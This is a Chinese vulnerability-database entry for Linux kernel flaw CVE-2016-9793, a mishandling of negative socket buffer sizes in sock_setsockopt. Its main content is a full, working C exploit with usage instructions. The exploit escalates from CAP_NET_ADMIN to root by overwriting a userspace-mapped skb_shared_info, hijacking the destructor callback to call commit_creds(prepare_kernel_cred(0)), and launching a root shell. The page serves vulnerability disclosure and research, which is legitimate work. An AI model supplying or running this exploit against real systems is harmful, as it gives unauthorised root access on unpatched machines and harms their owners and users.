Linux kernel 安全漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1123808 漏洞类型 缓冲区溢出
发布时间 2017-03-22 更新时间 2017-05-23
CVE编号 CVE-2016-9793 CNNVD-ID CNNVD-201612-084
漏洞平台 Linux CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/41995
https://www.securityfocus.com/bid/94655
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201612-084
|漏洞详情
Linuxkernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。NFSv4implementation是其中的一个分布式文件系统协议。Linuxkernel4.8.13及之前的版本中的net/core/sock.c文件的‘sock_setsockopt’函数存在安全漏洞,该漏洞源于程序没有正确的处理‘sk_sndbuf’和‘sk_rcvbuf’的负值。本地攻击者可利用该漏洞造成拒绝服务(内存损坏和系统崩溃)。
|漏洞EXP
// CAP_NET_ADMIN -> root LPE exploit for CVE-2016-9793
// No KASLR, SMEP or SMAP bypass included
// Affected kernels: 3.11 -> 4.8
// Tested in QEMU only
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
//
// Usage:
// # gcc -pthread exploit.c -o exploit
// # chown guest:guest exploit
// # setcap cap_net_admin+ep ./exploit
// # su guest
// $ whoami
// guest
// $ ./exploit
// [.] userspace payload mmapped at 0xfffff000
// [.] overwriting thread started
// [.] sockets opened
// [.] sock->sk_sndbuf set to fffffe00
// [.] writing to socket
// [+] got r00t
// # whoami
// root
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/mman.h>

#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define COMMIT_CREDS 0xffffffff81079860ul
#define PREPARE_KERNEL_CRED 0xffffffff81079b20ul

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root(void) {
 	commit_creds(prepare_kernel_cred(0));
}

struct ubuf_info_t {
  uint64_t callback;        // void (*callback)(struct ubuf_info *, bool)
  uint64_t ctx;             // void *
  uint64_t desc;            // unsigned long
};

struct skb_shared_info_t {
  uint8_t  nr_frags;        // unsigned char
  uint8_t  tx_flags;        // __u8
  uint16_t gso_size;        // unsigned short
  uint16_t gso_segs;        // unsigned short
  uint16_t gso_type;        // unsigned short
  uint64_t frag_list;       // struct sk_buff *
  uint64_t hwtstamps;       // struct skb_shared_hwtstamps
  uint32_t tskey;           // u32
  uint32_t ip6_frag_id;     // __be32
  uint32_t dataref;         // atomic_t
  uint64_t destructor_arg;  // void *
  uint8_t  frags[16][17];   // skb_frag_t frags[MAX_SKB_FRAGS];
};

// sk_sndbuf = 0xffffff00 => skb_shinfo(skb) = 0x00000000fffffed0
#define SNDBUF 0xffffff00
#define SHINFO 0x00000000fffffed0ul

struct ubuf_info_t ubuf_info = {(uint64_t)&get_root, 0, 0};
//struct ubuf_info_t ubuf_info = {0xffffdeaddeadbeeful, 0, 0};
struct skb_shared_info_t *skb_shared_info = (struct skb_shared_info_t *)SHINFO;

#define SKBTX_DEV_ZEROCOPY (1 << 3)

void* skb_thr(void* arg) {
	while (1) {
		skb_shared_info->destructor_arg = (uint64_t)&ubuf_info;
		skb_shared_info->tx_flags |= SKBTX_DEV_ZEROCOPY;
	}
}

int sockets[2];

void *write_thr(void *arg) {
	// Write blocks until setsockopt(SO_SNDBUF).
	write(sockets[1], "\x5c", 1);

	if (getuid() == 0) {
		printf("[+] got r00t\n");
		execl("/bin/bash", "bash", NULL);
		perror("execl()");
	}
	printf("[-] something went wrong\n");
}

int main() {
	void *addr;
	int rv;
	uint32_t sndbuf;

	addr = mmap((void *)(SHINFO & 0xfffffffffffff000ul), 0x1000ul,
		PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
		-1, 0);
	if (addr != (void *)(SHINFO & 0xfffffffffffff000ul)) {
		perror("mmap()");
		exit(EXIT_FAILURE);
	}

	printf("[.] userspace payload mmapped at %p\n", addr);

 	pthread_t skb_th;
    	rv = pthread_create(&skb_th, 0, skb_thr, NULL);
	if (rv != 0) {
		perror("pthread_create()");
		exit(EXIT_FAILURE);
	}
    	usleep(10000);

	printf("[.] overwriting thread started\n");

	rv = socketpair(AF_LOCAL, SOCK_STREAM, 0, &sockets[0]);
	if (rv != 0) {
		perror("socketpair()");
		exit(EXIT_FAILURE);
	}

	printf("[.] sockets opened\n");

	sndbuf = SNDBUF;
	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUFFORCE,
			&sndbuf, sizeof(sndbuf));
	if (rv != 0) {
		perror("setsockopt()");
		exit(EXIT_FAILURE);
	}

	printf("[.] sock->sk_sndbuf set to %x\n", SNDBUF * 2);

	pthread_t write_th;
	rv = pthread_create(&write_th, 0, write_thr, NULL);
	if (rv != 0) {
		perror("pthread_create()");
		exit(EXIT_FAILURE);
	}
	usleep(10000);

	printf("[.] writing to socket\n");

	// Wake up blocked write.
	rv = setsockopt(sockets[1], SOL_SOCKET, SO_SNDBUF,
			&sndbuf, sizeof(sndbuf));
	if (rv != 0) {
		perror("setsockopt()");
		exit(EXIT_FAILURE);
	}
	usleep(10000);

	close(sockets[0]);
	close(sockets[1]);

	return 0;
}
|受影响的产品
SuSE Linux Enterprise Server for SAP 12 SuSE Linux Enterprise Server 12-LTSS SuSE Linux Enterprise Server 11 SP2 LTSS SuSE Linux Enterprise Module for Public Cloud 12 SuSE Linux Enterpris
|参考资料

来源:MLIST
链接:http://www.openwall.com/lists/oss-security/2016/12/03/1
来源:git.kernel.org
链接:http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b98b0bc8c431e3ceb4b26b0dfc8db509518fb290
来源:www.kernel.org
链接:http://www.kernel.org/pub/linux/kernel/v4.x/ChangeLog-4.8.14
来源:bugzilla.redhat.com
链接:https://bugzilla.redhat.com/show_bug.cgi?id=1402013
来源:github.com
链接:https://github.com/torvalds/linux/commit/b98b0bc8c431e3ceb4b26b0dfc8db509518fb290
来源:BID
链接:http://www.securityfocus.com/bid/94655